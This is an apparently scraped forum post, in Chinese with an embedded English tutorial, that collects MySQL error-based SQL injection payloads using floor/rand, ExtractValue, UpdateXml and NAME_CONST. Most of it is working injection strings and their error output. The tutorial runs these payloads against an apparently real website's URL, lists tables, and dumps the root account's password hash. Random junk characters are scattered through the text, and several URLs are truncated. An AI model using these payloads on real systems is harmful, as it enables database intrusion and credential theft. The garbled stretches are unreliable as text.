mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
5 E3 D7 \5 C. a3 a" a) e2 u首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
! t4 j+ h* X" m4 e! B# h3 {5 d# G9 L| id | title | content |
+—-+——-+———+
' T6 H& q2 q: F) c9 h9 g8 g; v; D* z|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
. M" n5 a5 p# v& y: ?ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

, W" J+ P- Y: ~( f# s

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
# f# {* O% @" ?& K- u( K
; T; F- u* e  x$ T4 }6 g' U, UErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
4 x3 m8 `8 b9 F
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
% Y% M6 ?8 Y; U) R3 p% W2 w
MYSQL高版本报错注入技巧-利用NAME_CONST注入
( e" ]% o! t8 Z+ H) `% N4 RIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.


; F# N, r; W2 Z4 b7 ^0 w7 S相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

$ q# j) n( Q* X/ i6 @: o3 W5 aCode:
1 ^8 {5 _/ n& J, o3 q9 s! g, zNAME_CONST(DATA, VALUE)

1 m; @0 e9 H& k- oReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
) w& n8 K; w" b& ?# n
SELECT NAME_CONST('TEST', 1)

  o& r( @0 X9 t; n" ]- R, Y8 @

! W- v2 n) m. Y& `  ]  c|---------------|
9 P2 I5 m, {) }" L3 {|     TEST      |
5 i8 y& `, z$ ]& h$ Z5 q! J|               |
0 |+ x2 a) p8 A$ C: u+ J- e|---------------|
|       1       |
|               |
# w0 t6 D9 Q& M# p& X|---------------|
  V' \! H3 U+ n, F  O3 T3 U



! P6 z: L" E4 Ghttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables

Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

6 e( D) v2 l5 c3 _! VCode:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261

7 R! j; p( Q; y
4 b- S" m4 I- q


Code:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--


VAR = Your MySQL variable.

MySQL 5.1.3 Server System Variables

Let's try it out on my site..

' r% Q* i1 N2 c0 pCode:
: i8 c4 m, z9 u+ J3 }! Ihttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
2 o0 r. o( k( ^. _# S3 @3 W3 s
Erroruplicate column name '5.0.27-community-nt'
4 n5 V, C1 ~0 j! W' ?
1 x8 B/ t; H% _# S. `
+ e; m) o) [) ~9 r& }+ R5 k# M) D/ ?# T- x

. |% ?) y" H- s
4 u2 h. h. i9 @' j' C& Y  U- u0 h9 LNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

! k% C. _* j8 bData Extraction
5 m) t. ]5 q9 i- X9 |  J
" J. `8 _) y; Z. LCode:
$ h; V  E+ i, E! Z- u5 \+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
& ^( x+ A( F9 x1 h/ k
' n% Z+ m' t- {2 c
' ]; {, Y5 L+ k/ I- j, JWe should get a duplicate column 1 error...
' x9 d& l6 {$ z! k0 t! l+ K
- \* e( C! n. z" R  x: j, d. g$ j2 hCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
7 t& A3 L4 x& U) C' c
Erroruplicate column name '1
; l7 o% O, x; R) N5 ?" k% }7 }: o
% a5 y. V/ V4 r
, ?  W! E; e' j6 g# L

+ V+ w1 j/ @: l) X6 w" ?* _2 u* B

4 q) e1 j2 P3 V& M8 }# m6 E' _; hNow let's get the tables out this bitch..

Code:
0 E  t6 h; q4 i* c1 P% L' ~- M+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

" u5 V/ Z- \/ |# x! D
, R$ P5 I2 f0 I/ K% V8 hLet's see if it works here, if it does, we can go on and finish the job.
2 H7 D1 o( Q# |; ~- C
! h; ]9 G' t+ W. N0 Y1 ^Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


Erroruplicate column name 'com_admanage
8 v" \6 E$ e" r, q6 ]# l





Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.

Let's get the columns out of the user table..
# ]: |% s" M6 Q; o9 y* F1 c
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
# S$ r! `: Y1 J! _" e

2 Z. M& b, r4 o  oSo mine looks like this, and I get the duplicate column name 'Host'.

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

Erroruplicate column name 'Host'

6 @7 Y$ i/ o5 V' \$ Q. T. ?3 H

. U/ R7 c1 n9 j" `) @! E

0 |& i, r3 Y9 T5 Y) E$ k% v/ v, o% R
Woot, time to finish this bitch off.

Code:
$ G: A( s9 X  Z8 Z7 P9 L6 |$ X  O+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
: ?# e0 t; o% }, L( I9 i5 [6 D& _6 \
% _2 R( S0 T2 R/ x* E5 `
So mine looks like this...

$ I+ |1 y- N' n) E7 O5 x2 _& ICode:
9 h2 M# I3 b# t+ X5 hhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
  G$ b* X/ ~+ c5 p1 O  {) K
9 c$ ]" o9 @+ O. B
3 `# ]* l" K  _& a8 e9 j4 e

( l* S5 u) L2 o

( z* f3 ~3 i- I3 xAnd there we have it, thanks for reading.